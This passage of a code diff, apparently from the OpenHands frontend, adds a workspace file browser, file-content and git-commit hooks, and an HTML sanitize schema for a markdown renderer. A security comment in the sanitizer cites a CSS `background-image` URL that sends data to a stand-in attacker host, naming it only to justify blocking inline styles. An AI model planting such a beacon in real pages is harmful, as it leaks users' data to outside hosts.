<ul>
|
||||
{node.children.map((child) => (
|
||||
<TreeNode
|
||||
key={child.path}
|
||||
node={child}
|
||||
depth={depth + 1}
|
||||
selectedPath={selectedPath}
|
||||
onSelectFile={onSelectFile}
|
||||
/>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
const isSelected = selectedPath === node.path;
|
||||
return (
|
||||
<li>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSelectFile(node.path)}
|
||||
data-testid={`file-tree-file-${node.path}`}
|
||||
className={cn(
|
||||
"flex w-full items-center gap-1.5 py-1 pr-2 text-left text-sm",
|
||||
"hover:bg-[#3A3D44] cursor-pointer",
|
||||
isSelected ? "bg-[#474A54] text-white" : "text-[#D6D6D6]",
|
||||
)}
|
||||
style={{ paddingLeft: `${indentPx + 16}px` }}
|
||||
>
|
||||
<FileIcon className="w-3.5 h-3.5 shrink-0" />
|
||||
<span className="truncate">{node.name}</span>
|
||||
</button>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
export function FileTreeView({
|
||||
paths,
|
||||
selectedPath,
|
||||
onSelectFile,
|
||||
}: FileTreeViewProps) {
|
||||
const { t } = useTranslation("openhands");
|
||||
const root = useMemo(() => buildFileTree(paths), [paths]);
|
||||
|
||||
if (root.children.length === 0) {
|
||||
return (
|
||||
<div className="px-3 py-4 text-sm text-[#9299AA]">
|
||||
{t(I18nKey.FILES$NO_FILES)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<ul className="py-1 custom-scrollbar-always" data-testid="file-tree-view">
|
||||
{root.children.map((child) => (
|
||||
<TreeNode
|
||||
key={child.path}
|
||||
node={child}
|
||||
depth={0}
|
||||
selectedPath={selectedPath}
|
||||
onSelectFile={onSelectFile}
|
||||
/>
|
||||
))}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
import { vscDarkPlus } from "react-syntax-highlighter/dist/esm/styles/prism";
|
||||
|
||||
import { SyntaxHighlighter } from "#/components/features/markdown/syntax-highlighter";
|
||||
import { getPrismLanguageForFile } from "#/utils/file-language";
|
||||
|
||||
interface HighlightedSourceViewProps {
|
||||
path: string;
|
||||
text: string;
|
||||
mimeType?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Renders the raw bytes of a workspace text file with Prism syntax
|
||||
* highlighting. Used both in:
|
||||
* - Rich mode for actual source files (.ts, .py, .yaml, …) — there is
|
||||
* no "rich" rendering of source code, so highlighted source IS the
|
||||
* rich view.
|
||||
* - Plain mode for source code AND for the source form of markdown /
|
||||
* HTML files (so users can inspect the markup behind a rich preview).
|
||||
*
|
||||
* When we don't have a Prism grammar for the file we fall through to a
|
||||
* plain `<pre>` so the bytes still show. The wrapper styling matches the
|
||||
* right-pane background so the highlighted block reads as part of the
|
||||
* surrounding chrome instead of a floating card.
|
||||
*/
|
||||
export function HighlightedSourceView({
|
||||
path,
|
||||
text,
|
||||
mimeType,
|
||||
}: HighlightedSourceViewProps) {
|
||||
const language = getPrismLanguageForFile(path, mimeType);
|
||||
|
||||
if (!language) {
|
||||
return (
|
||||
<pre
|
||||
data-testid="file-content-viewer-plain"
|
||||
className="h-full w-full overflow-auto whitespace-pre-wrap break-words bg-[#25272D] p-4 text-xs leading-5 text-white custom-scrollbar-always"
|
||||
>
|
||||
{text}
|
||||
</pre>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
data-testid="file-content-viewer-highlighted"
|
||||
data-language={language}
|
||||
className="h-full w-full overflow-auto bg-[#25272D] custom-scrollbar-always"
|
||||
>
|
||||
<SyntaxHighlighter
|
||||
language={language}
|
||||
style={vscDarkPlus}
|
||||
showLineNumbers
|
||||
wrapLongLines={false}
|
||||
// Override the theme's hard-coded background so the highlighter
|
||||
// blends with the right-pane chrome instead of painting a slab
|
||||
// of a slightly-different dark color.
|
||||
customStyle={{
|
||||
margin: 0,
|
||||
padding: "1rem",
|
||||
background: "transparent",
|
||||
fontSize: "0.75rem",
|
||||
lineHeight: "1.25rem",
|
||||
minHeight: "100%",
|
||||
}}
|
||||
codeTagProps={{
|
||||
style: { background: "transparent", fontFamily: "inherit" },
|
||||
}}
|
||||
lineNumberStyle={{
|
||||
color: "#5C5D62",
|
||||
minWidth: "2.5em",
|
||||
paddingRight: "1em",
|
||||
userSelect: "none",
|
||||
}}
|
||||
>
|
||||
{text}
|
||||
</SyntaxHighlighter>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
import { cn } from "#/utils/utils";
|
||||
|
||||
interface SegmentedToggleOption<T extends string> {
|
||||
value: T;
|
||||
label: string;
|
||||
}
|
||||
|
||||
interface SegmentedToggleProps<T extends string> {
|
||||
value: T;
|
||||
options: SegmentedToggleOption<T>[];
|
||||
onChange: (value: T) => void;
|
||||
ariaLabel: string;
|
||||
testId?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Lightweight 2-state segmented control used for the files-tab toggles
|
||||
* ("Diff view" on/off, "Rich"/"Plain"). Kept local because the existing
|
||||
* shared switch components are heavier than what we need here.
|
||||
*/
|
||||
export function SegmentedToggle<T extends string>({
|
||||
value,
|
||||
options,
|
||||
onChange,
|
||||
ariaLabel,
|
||||
testId,
|
||||
}: SegmentedToggleProps<T>) {
|
||||
return (
|
||||
<div
|
||||
role="radiogroup"
|
||||
aria-label={ariaLabel}
|
||||
data-testid={testId}
|
||||
className="inline-flex items-center rounded-md bg-[#2F3137] p-0.5 text-xs"
|
||||
>
|
||||
{options.map((option) => {
|
||||
const isActive = option.value === value;
|
||||
return (
|
||||
<button
|
||||
key={option.value}
|
||||
type="button"
|
||||
role="radio"
|
||||
aria-checked={isActive}
|
||||
data-testid={
|
||||
testId ? `${testId}-option-${option.value}` : undefined
|
||||
}
|
||||
onClick={() => onChange(option.value)}
|
||||
className={cn(
|
||||
"px-2 py-0.5 rounded cursor-pointer transition-colors",
|
||||
isActive
|
||||
? "bg-[#5C5D62] text-white"
|
||||
: "text-[#9299AA] hover:text-white",
|
||||
)}
|
||||
>
|
||||
{option.label}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
export type ViewMode = "rich" | "plain";
|
||||
@@ -1,6 +1,10 @@
|
||||
import Markdown, { Components } from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import remarkBreaks from "remark-breaks";
|
||||
import rehypeRaw from "rehype-raw";
|
||||
import rehypeSanitize, { defaultSchema } from "rehype-sanitize";
|
||||
import type { Schema } from "hast-util-sanitize";
|
||||
import type { PluggableList } from "unified";
|
||||
import { code } from "./code";
|
||||
import { ul, ol } from "./list";
|
||||
import { paragraph } from "./paragraph";
|
||||
@@ -8,6 +12,76 @@ import { anchor } from "./anchor";
|
||||
import { h1, h2, h3, h4, h5, h6 } from "./headings";
|
||||
import { table, th, td } from "./table";
|
||||
|
||||
// Build a sanitize schema that extends rehype-sanitize's defaults with a
|
||||
// few markdown-friendly additions. The defaults strip `<script>`, event
|
||||
// handlers, `javascript:` URLs, and most dangerous attributes; we layer
|
||||
// on:
|
||||
// - class / id on common block + inline elements (so authored HTML
|
||||
// keeps its hooks for styling in rich previews),
|
||||
// - `<img>` (kept disabled in defaults), with safe src schemes only,
|
||||
// - `<details>` / `<summary>` for collapsible sections,
|
||||
// - `target` / `rel` on anchors so external links keep working.
|
||||
//
|
||||
// We deliberately do NOT allow `style` — `rehype-sanitize` cannot parse
|
||||
// CSS, so allowing `style` would let an authored doc smuggle in
|
||||
// `background-image: url("https://attacker.example/exfil?…")` (data
|
||||
// exfiltration), `position: fixed; top: 0; …` (clickjacking overlays),
|
||||
// or vendor-specific quirks like `expression(…)` on old browsers.
|
||||
// If we ever need inline styling we should plug in a CSS-property
|
||||
// sanitizer at that point, not before.
|
||||
//
|
||||
// We also deliberately do NOT allow the `data:` protocol — that scheme
|
||||
// covers arbitrary mime types, not just images, so `<img src="data:text/html,…">`
|
||||
// would round-trip an HTML document with no schema validation. Inline
|
||||
// base64 images are a thin convenience we don't actually need in our
|
||||
// preview, and the cost of allowing them is too high.
|
||||
// Exported for direct schema tests. End-to-end MarkdownRenderer tests
|
||||
// can't reach every sanitize concern because our custom `anchor`
|
||||
// component always hard-codes `target="_blank" rel="noopener noreferrer"`
|
||||
// — meaning a buggy schema (e.g. one that strips `rel` from HAST) would
|
||||
// still produce a safe-looking `<a>` in the final DOM. Direct schema
|
||||
// tests close that gap.
|
||||
export const MARKDOWN_SANITIZE_SCHEMA: Schema = {
|
||||
...defaultSchema,
|
||||
attributes: {
|
||||
...defaultSchema.attributes,
|
||||
"*": [...(defaultSchema.attributes?.["*"] ?? []), "className", "id"],
|
||||
// `["rel", "noopener", "noreferrer", "nofollow"]` (rehype-sanitize's
|
||||
// "[attrName, ...allowed-values]" form) requires `rel` to be EXACTLY
|
||||
// one of those tokens — it would strip the standard, space-separated
|
||||
// `rel="noopener noreferrer"` and reintroduce a reverse-tabnabbing
|
||||
// vector on `target="_blank"` links. None of the `rel` keywords
|
||||
// execute code or navigate, so allowing any rel value is safe.
|
||||
a: ["href", "title", "target", "rel"],
|
||||
img: [
|
||||
...(defaultSchema.attributes?.img ?? []),
|
||||
"src",
|
||||
"alt",
|
||||
"title",
|
||||
"width",
|
||||
"height",
|
||||
"loading",
|
||||
],
|
||||
},
|
||||
tagNames: [
|
||||
...(defaultSchema.tagNames ?? []),
|
||||
"img",
|
||||
"details",
|
||||
"summary",
|
||||
"figure",
|
||||
"figcaption",
|
||||
"mark",
|
||||
"kbd",
|
||||
"sub",
|
||||
"sup",
|
||||
],
|
||||
protocols: {
|
||||
...defaultSchema.protocols,
|
||||
src: ["http", "https"],
|
||||
href: ["http", "https", "mailto", "tel"],
|
||||
},
|
||||
};
|
||||
|
||||
interface MarkdownRendererProps {
|
||||
/**
|
||||
* The markdown content to render. Can be passed as children (string) or content prop.
|
||||
@@ -29,6 +103,16 @@ interface MarkdownRendererProps {
|
||||
* Defaults to false.
|
||||
*/
|
||||
includeHeadings?: boolean;
|
||||
/**
|
||||
* Whether to parse and render inline HTML embedded in the markdown
|
||||
* source. When `true`, raw HTML is parsed via `rehype-raw` and then
|
||||
* sanitized via `rehype-sanitize` with a schema that strips scripts,
|
||||
* event handlers, and dangerous URL schemes. Defaults to `true` — the
|
||||
* sanitizer makes this safe by construction, and most markdown
|
||||
* authoring relies on at least some inline HTML (badges, details
|
||||
* blocks, anchor targets, etc.).
|
||||
*/
|
||||
allowHtml?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -50,6 +134,7 @@ export function MarkdownRenderer({
|
||||
components: customComponents,
|
||||
includeStandard = false,
|
||||
includeHeadings = false,
|
||||
allowHtml = true,
|
||||
}: MarkdownRendererProps) {
|
||||
// Build the components object with defaults and optional additions
|
||||
const components: Components = {
|
||||
@@ -76,11 +161,20 @@ export function MarkdownRenderer({
|
||||
|
||||
const markdownContent = content ?? children ?? "";
|
||||
|
||||
// `rehype-raw` parses raw HTML embedded in the markdown into the rehype
|
||||
// tree. `rehype-sanitize` then strips anything dangerous (scripts,
|
||||
// event handlers, `javascript:` URLs, etc.). The order matters: sanitize
|
||||
// must run *after* raw so it sees the parsed HTML nodes.
|
||||
const rehypePlugins: PluggableList | undefined = allowHtml
|
||||
? [rehypeRaw, [rehypeSanitize, MARKDOWN_SANITIZE_SCHEMA]]
|
||||
: undefined;
|
||||
|
||||
return (
|
||||
<div data-testid="markdown-renderer">
|
||||
<Markdown
|
||||
components={components}
|
||||
remarkPlugins={[remarkGfm, remarkBreaks]}
|
||||
rehypePlugins={rehypePlugins}
|
||||
>
|
||||
{markdownContent}
|
||||
</Markdown>
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
interface PathFormProps {
|
||||
ref: React.RefObject<HTMLFormElement | null>;
|
||||
onBlur: () => void;
|
||||
defaultValue: string;
|
||||
}
|
||||
|
||||
export function PathForm({ ref, onBlur, defaultValue }: PathFormProps) {
|
||||
return (
|
||||
<form ref={ref} onSubmit={(e) => e.preventDefault()} className="flex-1">
|
||||
<input
|
||||
name="url"
|
||||
type="text"
|
||||
defaultValue={defaultValue}
|
||||
className="w-full bg-transparent"
|
||||
onBlur={onBlur}
|
||||
/>
|
||||
</form>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
|
||||
import { createRemoteWorkspace } from "#/api/typescript-client";
|
||||
import { useActiveConversation } from "#/hooks/query/use-active-conversation";
|
||||
import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
|
||||
|
||||
/**
|
||||
* Probes whether the conversation's working-directory git repository has
|
||||
* at least one commit reachable from HEAD.
|
||||
*
|
||||
* Used by the Files tab to decide whether the diff view is a sensible
|
||||
* default: an attached repo with zero commits (e.g. a brand-new empty
|
||||
* GitHub repo, or a freshly `git init`-ed workspace) has no diff base to
|
||||
* compare against, so the file viewer is a better landing experience.
|
||||
*
|
||||
* Returns `hasCommits: null` while the probe is in-flight so callers can
|
||||
* distinguish "still loading" from a definitive "no commits".
|
||||
*/
|
||||
export function useHasGitCommits(options?: { enabled?: boolean }): {
|
||||
hasCommits: boolean | null;
|
||||
isLoading: boolean;
|
||||
} {
|
||||
const { data: conversation } = useActiveConversation();
|
||||
const runtimeIsReady = useRuntimeIsReady();
|
||||
|
||||
const conversationId = conversation?.id;
|
||||
const conversationUrl = conversation?.conversation_url;
|
||||
const sessionApiKey = conversation?.session_api_key;
|
||||
const workingDir = conversation?.workspace?.working_dir?.trim();
|
||||
|
||||
const enabled =
|
||||
(options?.enabled ?? true) &&
|
||||
runtimeIsReady &&
|
||||
!!conversationId &&
|
||||
!!workingDir;
|
||||
|
||||
const query = useQuery<boolean>({
|
||||
queryKey: [
|
||||
"has-git-commits",
|
||||
conversationId,
|
||||
conversationUrl,
|
||||
sessionApiKey,
|
||||
workingDir,
|
||||
],
|
||||
queryFn: async () => {
|
||||
const workspace = createRemoteWorkspace({
|
||||
conversationUrl,
|
||||
sessionApiKey,
|
||||
});
|
||||
|
||||
// `git rev-parse --verify HEAD` exits 0 iff HEAD resolves to a real
|
||||
// commit. On an unborn branch (`git init` with no commits) it exits
|
||||
// non-zero. Equally returns non-zero outside a git repo, but
|
||||
// callers gate this hook on the repo-is-attached signal.
|
||||
const result = await workspace.executeCommand(
|
||||
"git rev-parse --verify HEAD",
|
||||
workingDir,
|
||||
10,
|
||||
);
|
||||
return result.exit_code === 0;
|
||||
},
|
||||
enabled,
|
||||
retry: false,
|
||||
staleTime: 60_000,
|
||||
gcTime: 5 * 60_000,
|
||||
meta: { disableToast: true },
|
||||
});
|
||||
|
||||
return {
|
||||
hasCommits: query.data ?? null,
|
||||
isLoading: query.isLoading,
|
||||
};
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
import { useQueries, useQuery } from "@tanstack/react-query";
|
||||
import axios from "axios";
|
||||
import React from "react";
|
||||
import { useConversationId } from "#/hooks/use-conversation-id";
|
||||
import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
|
||||
import { useActiveConversation } from "#/hooks/query/use-active-conversation";
|
||||
import { getConfiguredWorkerUrls } from "#/api/agent-server-config";
|
||||
|
||||
export const useUnifiedActiveHost = () => {
|
||||
const [activeHost, setActiveHost] = React.useState<string | null>(null);
|
||||
const { conversationId } = useConversationId();
|
||||
const runtimeIsReady = useRuntimeIsReady();
|
||||
const { isLoading: isLoadingConversation } = useActiveConversation();
|
||||
|
||||
const { data, isLoading: hostsQueryLoading } = useQuery({
|
||||
queryKey: [conversationId, "hosts"],
|
||||
queryFn: async () => ({ hosts: getConfiguredWorkerUrls() }),
|
||||
enabled: runtimeIsReady && !!conversationId,
|
||||
initialData: { hosts: [] },
|
||||
meta: {
|
||||
disableToast: true,
|
||||
},
|
||||
});
|
||||
|
||||
const apps = useQueries({
|
||||
queries: data.hosts.map((host) => ({
|
||||
queryKey: [conversationId, "unified", "hosts", host],
|
||||
queryFn: async () => {
|
||||
try {
|
||||
await axios.get(host);
|
||||
return host;
|
||||
} catch (e) {
|
||||
return "";
|
||||
}
|
||||
},
|
||||
refetchInterval: 3000,
|
||||
meta: {
|
||||
disableToast: true,
|
||||
},
|
||||
})),
|
||||
});
|
||||
|
||||
const appsData = apps.map((app) => app.data);
|
||||
|
||||
React.useEffect(() => {
|
||||
const successfulApp = appsData.find((app) => app);
|
||||
setActiveHost(successfulApp || "");
|
||||
}, [appsData]);
|
||||
|
||||
const isLoading = isLoadingConversation || hostsQueryLoading;
|
||||
|
||||
return { activeHost, isLoading };
|
||||
};
|
||||
@@ -0,0 +1,203 @@
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
|
||||
import { useActiveConversation } from "#/hooks/query/use-active-conversation";
|
||||
import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
|
||||
import {
|
||||
joinWorkspaceUrl,
|
||||
useWorkspaceSession,
|
||||
} from "#/hooks/query/use-workspace-session";
|
||||
|
||||
// Magic-number sniff for common binary formats we can render via iframe.
|
||||
const IMAGE_EXTENSIONS = new Set([
|
||||
"png",
|
||||
"jpg",
|
||||
"jpeg",
|
||||
"gif",
|
||||
"webp",
|
||||
"bmp",
|
||||
"ico",
|
||||
"svg",
|
||||
"avif",
|
||||
]);
|
||||
|
||||
const PDF_EXTENSIONS = new Set(["pdf"]);
|
||||
|
||||
export type WorkspaceFileKind = "text" | "image" | "pdf" | "binary";
|
||||
|
||||
export interface WorkspaceFileContent {
|
||||
path: string;
|
||||
kind: WorkspaceFileKind;
|
||||
/** Decoded text contents — only populated when kind === "text". */
|
||||
text: string | null;
|
||||
/**
|
||||
* URL pointing at the file on the agent server's static workspace
|
||||
* fileserver (the `/api/conversations/{id}/workspace/...` route added in
|
||||
* software-agent-sdk PR #3192). Suitable to use as an `<iframe src>` or
|
||||
* `<img src>` against unauthenticated agent servers. Always populated.
|
||||
*/
|
||||
staticUrl: string;
|
||||
/** MIME type guessed from the file extension. */
|
||||
mimeType: string;
|
||||
}
|
||||
|
||||
function getExtension(path: string): string {
|
||||
const idx = path.lastIndexOf(".");
|
||||
if (idx === -1) return "";
|
||||
return path.slice(idx + 1).toLowerCase();
|
||||
}
|
||||
|
||||
function guessMimeType(path: string): string {
|
||||
const ext = getExtension(path);
|
||||
switch (ext) {
|
||||
case "html":
|
||||
case "htm":
|
||||
return "text/html";
|
||||
case "css":
|
||||
return "text/css";
|
||||
case "js":
|
||||
case "mjs":
|
||||
case "cjs":
|
||||
return "text/javascript";
|
||||
case "json":
|
||||
return "application/json";
|
||||
case "md":
|
||||
case "markdown":
|
||||
return "text/markdown";
|
||||
case "svg":
|
||||
return "image/svg+xml";
|
||||
case "png":
|
||||
return "image/png";
|
||||
case "jpg":
|
||||
case "jpeg":
|
||||
return "image/jpeg";
|
||||
case "gif":
|
||||
return "image/gif";
|
||||
case "webp":
|
||||
return "image/webp";
|
||||
case "bmp":
|
||||
return "image/bmp";
|
||||
case "ico":
|
||||
return "image/x-icon";
|
||||
case "avif":
|
||||
return "image/avif";
|
||||
case "pdf":
|
||||
return "application/pdf";
|
||||
default:
|
||||
return "text/plain";
|
||||
}
|
||||
}
|
||||
|
||||
function classifyKind(path: string): WorkspaceFileKind {
|
||||
const ext = getExtension(path);
|
||||
if (IMAGE_EXTENSIONS.has(ext)) return "image";
|
||||
if (PDF_EXTENSIONS.has(ext)) return "pdf";
|
||||
// Everything else is treated as text and decoded; if decoding produces
|
||||
// null bytes we fall back to "binary" downstream.
|
||||
return "text";
|
||||
}
|
||||
|
||||
function isLikelyBinary(buffer: ArrayBuffer): boolean {
|
||||
// Same heuristic git uses: presence of a NUL byte in the first ~8KB.
|
||||
const view = new Uint8Array(buffer, 0, Math.min(buffer.byteLength, 8000));
|
||||
for (let i = 0; i < view.length; i += 1) {
|
||||
if (view[i] === 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads a single file out of the active conversation's workspace via the
|
||||
* agent server's static workspace fileserver and classifies it as
|
||||
* text/image/pdf/binary so the UI can pick a renderer.
|
||||
*
|
||||
* Image and PDF kinds are rendered directly from `staticUrl` (no fetch
|
||||
* here). Text/binary classification still requires reading the body so
|
||||
* we can run a NUL-byte sniff and decode UTF-8 for the plain/markdown
|
||||
* renderers.
|
||||
*
|
||||
* Pass a falsy `relativePath` to disable the query (e.g. when no file is
|
||||
* selected yet).
|
||||
*/
|
||||
export function useWorkspaceFileContent(relativePath: string | null) {
|
||||
const { data: conversation } = useActiveConversation();
|
||||
const runtimeIsReady = useRuntimeIsReady();
|
||||
const { data: workspaceSession } = useWorkspaceSession();
|
||||
|
||||
const conversationId = conversation?.id;
|
||||
const conversationUrl = conversation?.conversation_url;
|
||||
const baseUrl = workspaceSession?.baseUrl;
|
||||
|
||||
return useQuery<WorkspaceFileContent>({
|
||||
queryKey: [
|
||||
"workspace-file-content",
|
||||
conversationId,
|
||||
conversationUrl,
|
||||
baseUrl,
|
||||
relativePath,
|
||||
],
|
||||
queryFn: async () => {
|
||||
if (!relativePath) throw new Error("No path");
|
||||
if (!baseUrl) throw new Error("No workspace session");
|
||||
|
||||
const staticUrl = joinWorkspaceUrl(baseUrl, relativePath);
|
||||
const kind = classifyKind(relativePath);
|
||||
const mimeType = guessMimeType(relativePath);
|
||||
|
||||
// Image / PDF: don't fetch the bytes — the consumer renders them
|
||||
// directly via `staticUrl` in an iframe or <img>. The browser
|
||||
// will attach the `oh_workspace_session_key` cookie minted by
|
||||
// `useWorkspaceSession` so the request authenticates without us
|
||||
// having to set any headers (which a top-level <iframe src> can't
|
||||
// do anyway).
|
||||
if (kind !== "text") {
|
||||
return {
|
||||
path: relativePath,
|
||||
kind,
|
||||
text: null,
|
||||
staticUrl,
|
||||
mimeType,
|
||||
};
|
||||
}
|
||||
|
||||
// For our own fetch we also rely on the workspace-session cookie
|
||||
// (it travels because we opt in to credentialed requests). This
|
||||
// replaces the previous `X-Session-API-Key` header: same auth
|
||||
// path the iframe/img uses, no CORS preflight for a custom header.
|
||||
const response = await fetch(staticUrl, {
|
||||
credentials: "include",
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Failed to read ${relativePath}: ${response.status}`);
|
||||
}
|
||||
|
||||
const buffer = await response.arrayBuffer();
|
||||
if (isLikelyBinary(buffer)) {
|
||||
return {
|
||||
path: relativePath,
|
||||
kind: "binary",
|
||||
text: null,
|
||||
staticUrl,
|
||||
mimeType: "application/octet-stream",
|
||||
};
|
||||
}
|
||||
|
||||
const text = new TextDecoder("utf-8", { fatal: false }).decode(buffer);
|
||||
return {
|
||||
path: relativePath,
|
||||
kind: "text",
|
||||
text,
|
||||
staticUrl,
|
||||
mimeType,
|
||||
};
|
||||
},
|
||||
// Gate on `baseUrl`: until `useWorkspaceSession` has minted the
|
||||
// workspace cookie, we cannot fetch `staticUrl` (would 401) and
|
||||
// we'd hand `<iframe src>` a URL that doesn't authenticate. Once
|
||||
// the session resolves the query unblocks automatically.
|
||||
enabled: runtimeIsReady && !!baseUrl && !!relativePath,
|
||||
retry: false,
|
||||
staleTime: 1000 * 5,
|
||||
gcTime: 1000 * 60,
|
||||
meta: { disableToast: true },
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
|
||||
import { createRemoteWorkspace } from "#/api/typescript-client";
|
||||
import { useActiveConversation } from "#/hooks/query/use-active-conversation";
|
||||
import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
|
||||
|
||||
// Cap the number of files we render so a giant repo doesn't freeze the UI.
|
||||
const MAX_FILES = 2000;
|
||||
|
||||
// Directory names that we never want to descend into when listing files.
|
||||
const EXCLUDED_DIRS = [
|
||||
".git",
|
||||
"node_modules",
|
||||
".venv",
|
||||
"venv",
|
||||
"__pycache__",
|
||||
"dist",
|
||||
"build",
|
||||
".next",
|
||||
".cache",
|
||||
".pytest_cache",
|
||||
".mypy_cache",
|
||||
".turbo",
|
||||
".parcel-cache",
|
||||
"target",
|
||||
];
|
||||
|
||||
// Build a `find` invocation that lists files relative to the workspace root.
|
||||
function buildListCommand(): string {
|
||||
const pruneExpr = EXCLUDED_DIRS.map((dir) => `-name '${dir}' -prune`).join(
|
||||
" -o ",
|
||||
);
|
||||
return `find . \\( ${pruneExpr} \\) -o -type f -print 2>/dev/null | sort | head -n ${MAX_FILES}`;
|
||||
}
|
||||
|
||||
function normalizePath(path: string): string {
|
||||
// Strip a leading "./" so paths render cleanly in the UI.
|
||||
return path.startsWith("./") ? path.slice(2) : path;
|
||||
}
|
||||
|
||||
/**
|
||||
* Lists every regular file beneath the active conversation's working
|
||||
* directory, excluding common heavy/build directories. Returns paths relative
|
||||
* to the working dir (e.g. `src/index.html`).
|
||||
*/
|
||||
export function useWorkspaceFiles() {
|
||||
const { data: conversation } = useActiveConversation();
|
||||
const runtimeIsReady = useRuntimeIsReady();
|
||||
|
||||
const conversationId = conversation?.id;
|
||||
const conversationUrl = conversation?.conversation_url;
|
||||
const sessionApiKey = conversation?.session_api_key;
|
||||
const workingDir = conversation?.workspace?.working_dir?.trim();
|
||||
|
||||
return useQuery<string[]>({
|
||||
queryKey: [
|
||||
"workspace-files",
|
||||
conversationId,
|
||||
conversationUrl,
|
||||
sessionApiKey,
|
||||
workingDir,
|
||||
],
|
||||
queryFn: async () => {
|
||||
const workspace = createRemoteWorkspace({
|
||||
conversationUrl,
|
||||
sessionApiKey,
|
||||
});
|
||||
|
||||
const result = await workspace.executeCommand(
|
||||
buildListCommand(),
|
||||
workingDir,
|
||||
30,
|
||||
);
|
||||
|
||||
if (result.exit_code !== 0) {
|
||||
throw new Error(
|
||||
result.stderr?.trim() || "Failed to list workspace files",
|
||||
);
|
||||
}
|
||||
|
||||
const lines = result.stdout
|
||||
.split(/\r?\n/)
|
||||
.map((line) => line.trim())
|
||||
.filter(Boolean)
|
||||
.map(normalizePath);
|
||||
|
||||
// Defensive: keep results unique and bounded.
|
||||
return Array.from(new Set(lines)).slice(0, MAX_FILES);
|
||||
},
|
||||
enabled: runtimeIsReady && !!conversationId && !!workingDir,
|
||||
retry: false,
|
||||
staleTime: 1000 * 30,
|
||||
gcTime: 1000 * 60 * 5,
|
||||
meta: { disableToast: true },
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
|
||||
import { createRemoteWorkspace } from "#/api/typescript-client";
|
||||
import { useActiveConversation } from "#/hooks/query/use-active-conversation";
|
||||
import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
|
||||
|
||||
export interface WorkspaceSession {
|
||||
/**
|
||||
* Absolute URL prefix for the conversation's static workspace fileserver,
|
||||
* always ending in a `/`. Append a relative path to address a single file
|
||||
* (e.g. `${baseUrl}index.html`).
|
||||
*/
|
||||
baseUrl: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Mint a workspace static-asset session for the active conversation.
|
||||
*
|
||||
* Calling `POST /api/auth/workspace-session` exchanges the conversation's
|
||||
* `X-Session-API-Key` for an `oh_workspace_session_key` cookie scoped to
|
||||
* `/api/conversations`. Once that cookie is set the browser can embed
|
||||
* workspace artifacts directly as `<iframe src>` / `<img src>` / top-level
|
||||
* navigations — which it cannot do when the only credential is a custom
|
||||
* request header.
|
||||
*
|
||||
* We treat the call as cache-once-per-conversation: the cookie lives in
|
||||
* the browser jar, so re-issuing the POST on every component remount is
|
||||
* wasted work. `staleTime: Infinity` keeps the cached `baseUrl` in place
|
||||
* for the lifetime of the conversation; only switching conversations (a
|
||||
* different `conversationId` in the query key) re-runs it.
|
||||
*
|
||||
* Returns `null` from `data` until the session has been minted, so
|
||||
* callers can gate iframe / img rendering on a definite "the cookie is
|
||||
* set" signal rather than guessing.
|
||||
*/
|
||||
export function useWorkspaceSession(): {
|
||||
data: WorkspaceSession | null;
|
||||
isLoading: boolean;
|
||||
isError: boolean;
|
||||
error: Error | null;
|
||||
} {
|
||||
const { data: conversation } = useActiveConversation();
|
||||
const runtimeIsReady = useRuntimeIsReady();
|
||||
|
||||
const conversationId = conversation?.id;
|
||||
const conversationUrl = conversation?.conversation_url;
|
||||
const sessionApiKey = conversation?.session_api_key;
|
||||
|
||||
const enabled = runtimeIsReady && !!conversationId;
|
||||
|
||||
const query = useQuery<WorkspaceSession>({
|
||||
queryKey: [
|
||||
"workspace-session",
|
||||
conversationId,
|
||||
conversationUrl,
|
||||
sessionApiKey,
|
||||
],
|
||||
queryFn: async () => {
|
||||
const workspace = createRemoteWorkspace({
|
||||
conversationUrl,
|
||||
sessionApiKey,
|
||||
});
|
||||
const baseUrl = await workspace.startWorkspaceSession(conversationId!);
|
||||
return { baseUrl };
|
||||
},
|
||||
enabled,
|
||||
// The cookie is sticky; minting it once per page-load is plenty.
|
||||
staleTime: Infinity,
|
||||
gcTime: Infinity,
|
||||
// No auto-retry: a 401 here means the session API key isn't valid for
|
||||
// this conversation, which won't fix itself on a second POST. The
|
||||
// user can re-trigger by reloading or switching conversation.
|
||||
retry: false,
|
||||
});
|
||||
|
||||
return {
|
||||
data: query.data ?? null,
|
||||
isLoading: query.isLoading,
|
||||
isError: query.isError,
|
||||
error: (query.error as Error | null) ?? null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Append a workspace-relative path to a base URL produced by
|
||||
* {@link useWorkspaceSession}, URL-encoding each segment but preserving
|
||||
* `/` separators. Pass an empty / undefined `relativePath` to get the
|
||||
* directory base back (server then falls back to its `index.html`).
|
||||
*/
|
